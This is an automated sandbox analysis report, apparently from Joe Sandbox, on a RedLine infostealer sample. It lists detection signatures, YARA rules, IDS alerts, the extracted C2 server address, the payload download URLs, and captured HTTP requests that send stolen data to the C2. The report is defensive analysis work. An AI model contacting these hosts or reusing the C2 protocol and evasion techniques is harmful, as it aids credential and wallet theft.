Windows Analysis Report
StZAEFSb2j.exe

Overview

General Information

Sample Name: StZAEFSb2j.exe
Analysis ID: 736967
MD5: c71616e2b7cedf9fc8e2ca6f6929abdf
SHA1: 896a4c41792c73db51074ccff5ef3f0577f510c5
SHA256: 4a9f8a3b847fa9d2e854d3a7235ddee8e4c093d04c3901f006d430be1060fae5
Tags: exeRedLineStealer
Infos:

Detection

RedLine
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Yara detected RedLine Stealer
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Antivirus detection for URL or domain
Snort IDS alert for network traffic
Writes to foreign memory regions
Tries to steal Crypto Currency Wallets
.NET source code references suspicious native API functions
Uses known network protocols on non-standard ports
Machine Learning detection for sample
Allocates memory in foreign processes
.NET source code contains potential unpacker
Injects a PE file into a foreign processes
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
C2 URLs / IPs found in malware configuration
Found many strings related to Crypto-Wallets (likely being stolen)
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Tries to harvest and steal browser information (history, passwords, etc)
Queries the volume information (name, serial number etc) of a device
Yara signature match
May sleep (evasive loops) to hinder dynamic analysis
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Yara detected Credential Stealer
JA3 SSL client fingerprint seen in connection with other malware
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Contains long sleeps (>= 3 min)
Enables debug privileges
Is looking for software installed on the system
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Sample file is different than original file name gathered from version info
Detected TCP or UDP traffic on non-standard ports
Checks if the current process is being debugged
Contains functionality to detect virtual machines (SLDT)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Creates a process in suspended mode (likely to inject code)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: StZAEFSb2j.exe ReversingLabs: Detection: 34%
Source: StZAEFSb2j.exe Virustotal: Detection: 25% Perma Link
Antivirus detection for URL or domain
Source: https://tgc8x.tk/tt/BLACKDEV.txt Avira URL Cloud: Label: phishing
Source: https://tgc8x.tk/tt/lamb.txt Avira URL Cloud: Label: phishing
Machine Learning detection for sample
Source: StZAEFSb2j.exe Joe Sandbox ML: detected
Source: 00000000.00000002.321721404.00000000042B9000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: RedLine {"C2 url": ["194.55.186.201:6008"], "Bot Id": "xxxPROFxxx"}
Source: unknown HTTPS traffic detected: 50.115.174.192:443 -> 192.168.2.4:49695 version: TLS 1.2
Source: StZAEFSb2j.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: C:\Users\Administrator\Documents\CryptoObfuscator_Output\BLACKDEVIL.pdbBSJB source: StZAEFSb2j.exe, 00000000.00000002.322189785.0000000005000000.00000004.08000000.00040000.00000000.sdmp, StZAEFSb2j.exe, 00000000.00000002.321290507.0000000002C1B000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\Administrator\Documents\CryptoObfuscator_Output\BLACKDEVIL.pdb source: StZAEFSb2j.exe, 00000000.00000002.322189785.0000000005000000.00000004.08000000.00040000.00000000.sdmp, StZAEFSb2j.exe, 00000000.00000002.321290507.0000000002C1B000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: XCBVNDDJD.pdb source: StZAEFSb2j.exe
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h 0_2_00E442DC
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h 0_2_00E464DC
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h 0_2_00E45C60
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h 0_2_00E44300
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h 0_2_00E4610C
Source: C:\Users\user\Desktop\StZAEFSb2j.exe Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h 0_2_00E44318

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2018856 ET TROJAN Windows executable base64 encoded 50.115.174.192:443 -> 192.168.2.4:49695
Source: Traffic Snort IDS: 2018856 ET TROJAN Windows executable base64 encoded 50.115.174.192:443 -> 192.168.2.4:49696
Source: Traffic Snort IDS: 2012811 ET DNS Query to a .tk domain - Likely Hostile 192.168.2.4:56572 -> 8.8.8.8:53
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 49697 -> 6008
Source: unknown Network traffic detected: HTTP traffic on port 6008 -> 49697
Source: unknown Network traffic detected: HTTP traffic on port 6008 -> 49697
Source: unknown Network traffic detected: HTTP traffic on port 49697 -> 6008
Source: unknown Network traffic detected: HTTP traffic on port 6008 -> 49697
Source: unknown Network traffic detected: HTTP traffic on port 6008 -> 49697
Source: unknown Network traffic detected: HTTP traffic on port 49699 -> 6008
Source: unknown Network traffic detected: HTTP traffic on port 6008 -> 49699
Source: unknown Network traffic detected: HTTP traffic on port 6008 -> 49699
Source: unknown Network traffic detected: HTTP traffic on port 49700 -> 6008
Source: unknown Network traffic detected: HTTP traffic on port 6008 -> 49700
Source: unknown Network traffic detected: HTTP traffic on port 6008 -> 49700
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: 194.55.186.201:6008
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: VIRPUS VIRPUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /tt/lamb.txt HTTP/1.1Host: tgc8x.tkConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /tt/BLACKDEV.txt HTTP/1.1Host: tgc8x.tk
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 194.55.186.201:6008Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 194.55.186.201:6008Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 194.55.186.201:6008Content-Length: 1129933Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 194.55.186.201:6008Content-Length: 1129925Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 50.115.174.192 50.115.174.192
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.4:49697 -> 194.55.186.201:6008
Source: unknown Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: unknown TCP traffic detected without corresponding DNS query: 194.55.186.201
Source: aspnet_compiler.exe, 00000001.00000002.416745991.00000000030DB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://194.55.186.201:
Source: aspnet_compiler.exe, 00000001.00000002.415787658.0000000002FF2000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000001.00000002.414887349.0000000002F61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://194.55.186.201:6008
Source: aspnet_compiler.exe, 00000001.00000002.414887349.0000000002F61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://194.55.186.201:6008/
Source: aspnet_compiler.exe, 00000001.00000003.412663066.0000000008CB2000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000001.00000003.412625368.0000000008CB0000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000001.00000003.412575103.0000000008CB0000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000001.00000003.402236725.0000000008CA1000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000001.00000003.412702825.000000000152D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ns.adobe.c/g
Source: aspnet_compiler.exe, 00000001.00000002.416441450.000000000309B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: aspnet_compiler.exe, 00000001.00000002.414887349.0000000002F61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: aspnet_compiler.exe, 00000001.00000002.414887349.0000000002F61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: aspnet_compiler.exe, 00000001.00000002.415555604.0000000002FAF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/D
Source: aspnet_compiler.exe, 00000001.00000002.414887349.0000000002F61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: aspnet_compiler.exe, 00000001.00000002.414887349.0000000002F61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/fault
Source: aspnet_compiler.exe, 00000001.00000002.414887349.0000000002F61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: StZAEFSb2j.exe, 00000000.00000002.320164097.0000000002B46000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000001.00000002.414887349.0000000002F61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: aspnet_compiler.exe, 00000001.00000002.414887349.0000000002F61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/
Source: aspnet_compiler.exe, 00000001.00000002.414887349.0000000002F61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/0
Source: aspnet_compiler.exe, 00000001.00000002.414887349.0000000002F61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
Source: aspnet_compiler.exe, 00000001.00000002.414887349.0000000002F61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
Source: aspnet_compiler.exe, 00000001.00000002.414887349.0000000002F61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettings
Source: aspnet_compiler.exe, 00000001.00000002.414887349.0000000002F61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
Source: aspnet_compiler.exe, 00000001.00000002.415787658.0000000002FF2000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000001.00000002.415555604.0000000002FAF000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000001.00000002.414887349.0000000002F61000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000001.00000002.415687042.0000000002FDA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
Source: aspnet_compiler.exe, 00000001.00000002.414887349.0000000002F61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
Source: aspnet_compiler.exe, 00000001.00000002.416745991.00000000030DB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/Endpoint/SetEnviron
Source: aspnet_compiler.exe, 00000001.00000002.416745991.00000000030DB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
Source: aspnet_compiler.exe, 00000001.00000002.414887349.0000000002F61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
Source: aspnet_compiler.exe, 00000001.00000002.414887349.0000000002F61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
Source: aspnet_compiler.exe, 00000001.00000002.414887349.0000000002F61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
Source: aspnet_compiler.exe, 00000001.00000002.415555604.0000000002FAF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/t_
Source: StZAEFSb2j.exe, 00000000.00000002.320604810.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://tgc8x.tk
Source: tmpE2D.tmp.1.dr String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: StZAEFSb2j.exe, 00000000.00000002.321721404.00000000042B9000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000001.00000000.316565039.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: StZAEFSb2j.exe, 00000000.00000002.321721404.00000000042B9000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000001.00000000.316565039.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://api.ipify.orgcookies//settinString.Removeg
Source: tmpE2D.tmp.1.dr String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: tmpE2D.tmp.1.dr String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: aspnet_compiler.exe, 00000001.00000003.399325054.00000000080B1000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000001.00000002.430638568.0000000004243000.00000004.00000800.00020000.00000000.sdmp, tmpB95.tmp.1.dr, tmpD30.tmp.1.dr, tmpC92.tmp.1.dr, tmpC33.tmp.1.dr, tmpCC2.tmp.1.dr, tmpDBF.tmp.1.dr, tmpBF4.tmp.1.dr, tmpEBC.tmp.1.dr, tmpE8C.tmp.1.dr, tmpF80C.tmp.1.dr, tmpD60.tmp.1.dr, tmpE2D.tmp.1.dr String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: tmpE2D.tmp.1.dr String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: StZAEFSb2j.exe, 00000000.00000002.321721404.00000000042B9000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000001.00000000.316565039.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: aspnet_compiler.exe, 00000001.00000003.399325054.00000000080B1000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000001.00000002.430638568.0000000004243000.00000004.00000800.00020000.00000000.sdmp, tmpB95.tmp.1.dr, tmpD30.tmp.1.dr, tmpC92.tmp.1.dr, tmpC33.tmp.1.dr, tmpCC2.tmp.1.dr, tmpDBF.tmp.1.dr, tmpBF4.tmp.1.dr, tmpEBC.tmp.1.dr, tmpE8C.tmp.1.dr, tmpF80C.tmp.1.dr, tmpD60.tmp.1.dr, tmpE2D.tmp.1.dr String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: aspnet_compiler.exe, 00000001.00000003.399325054.00000000080B1000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000001.00000002.430638568.0000000004243000.00000004.00000800.00020000.00000000.sdmp, tmpB95.tmp.1.dr, tmpD30.tmp.1.dr, tmpC92.tmp.1.dr, tmpC33.tmp.1.dr, tmpCC2.tmp.1.dr, tmpDBF.tmp.1.dr, tmpBF4.tmp.1.dr, tmpEBC.tmp.1.dr, tmpE8C.tmp.1.dr, tmpF80C.tmp.1.dr, tmpD60.tmp.1.dr, tmpE2D.tmp.1.dr String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
Source: aspnet_compiler.exe, 00000001.00000003.399325054.00000000080B1000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000001.00000002.430638568.0000000004243000.00000004.00000800.00020000.00000000.sdmp, tmpB95.tmp.1.dr, tmpD30.tmp.1.dr, tmpC92.tmp.1.dr, tmpC33.tmp.1.dr, tmpCC2.tmp.1.dr, tmpDBF.tmp.1.dr, tmpBF4.tmp.1.dr, tmpEBC.tmp.1.dr, tmpE8C.tmp.1.dr, tmpF80C.tmp.1.dr, tmpD60.tmp.1.dr, tmpE2D.tmp.1.dr String found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
Source: aspnet_compiler.exe, 00000001.00000003.399325054.00000000080B1000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000001.00000002.430638568.0000000004243000.00000004.00000800.00020000.00000000.sdmp, tmpB95.tmp.1.dr, tmpD30.tmp.1.dr, tmpC92.tmp.1.dr, tmpC33.tmp.1.dr, tmpCC2.tmp.1.dr, tmpDBF.tmp.1.dr, tmpBF4.tmp.1.dr, tmpEBC.tmp.1.dr, tmpE8C.tmp.1.dr, tmpF80C.tmp.1.dr, tmpD60.tmp.1.dr, tmpE2D.tmp.1.dr String found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
Source: StZAEFSb2j.exe, 00000000.00000002.320164097.0000000002B46000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tgc8x.tk
Source: StZAEFSb2j.exe, 00000000.00000002.318741873.0000000002ACA000.00000004.00000800.00020000.00000000.sdmp, StZAEFSb2j.exe, 00000000.00000002.321171028.0000000002BC4000.00000004.00000800.00020000.00000000.sdmp, StZAEFSb2j.exe, 00000000.00000002.318500513.0000000002ABD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tgc8x.tk/tt/BLACKDEV.txt
Source: StZAEFSb2j.exe, 00000000.00000002.318741873.0000000002ACA000.00000004.00000800.00020000.00000000.sdmp, StZAEFSb2j.exe, 00000000.00000002.318500513.0000000002ABD000.00000004.00000800.00020000.00000000.sdmp, StZAEFSb2j.exe, 00000000.00000002.320164097.0000000002B46000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tgc8x.tk/tt/lamb.txt
Source: StZAEFSb2j.exe, 00000000.00000002.320562361.0000000002B54000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tgc8x.tk4
Source: StZAEFSb2j.exe, 00000000.00000002.321171028.0000000002BC4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tgc8x.tkD8
Source: aspnet_compiler.exe, 00000001.00000003.399325054.00000000080B1000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000001.00000002.430638568.0000000004243000.00000004.00000800.00020000.00000000.sdmp, tmpB95.tmp.1.dr, tmpD30.tmp.1.dr, tmpC92.tmp.1.dr, tmpC33.tmp.1.dr, tmpCC2.tmp.1.dr, tmpDBF.tmp.1.dr, tmpBF4.tmp.1.dr, tmpEBC.tmp.1.dr, tmpE8C.tmp.1.dr, tmpF80C.tmp.1.dr, tmpD60.tmp.1.dr, tmpE2D.tmp.1.dr String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: unknown HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 194.55.186.201:6008Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: unknown DNS traffic detected: queries for: tgc8x.tk
Source: global traffic HTTP traffic detected: GET /tt/lamb.txt HTTP/1.1Host: tgc8x.tkConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /tt/BLACKDEV.txt HTTP/1.1Host: tgc8x.tk
Source: unknown HTTPS traffic detected: 50.115.174.192:443 -> 192.168.2.4:49695 version: TLS 1.2

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 0.2.StZAEFSb2j.exe.42f9000.5.unpack, type: UNPACKEDPE Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.StZAEFSb2j.exe.42f9000.5.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 1.0.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 1.0.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.2.StZAEFSb2j.exe.42f9000.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.StZAEFSb2j.exe.42f9000.5.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 00000000.00000002.321721404.00000000042B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 00000001.00000000.316565039.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: StZAEFSb2j.exe PID: 780, type: MEMORYSTR Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: aspnet_compiler.exe PID: 1592, type: MEMORYSTR Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Yara signature match
Source: 0.2.StZAEFSb2j.exe.42f9000.5.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.StZAEFSb2j.exe.42f9000.5.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 1.0.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 1.0.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.StZAEFSb2j.exe.42f9000.5.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.StZAEFSb2j.exe.42f9000.5.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 00000000.00000002.321721404.00000000042B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 00000001.00000000.316565039.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
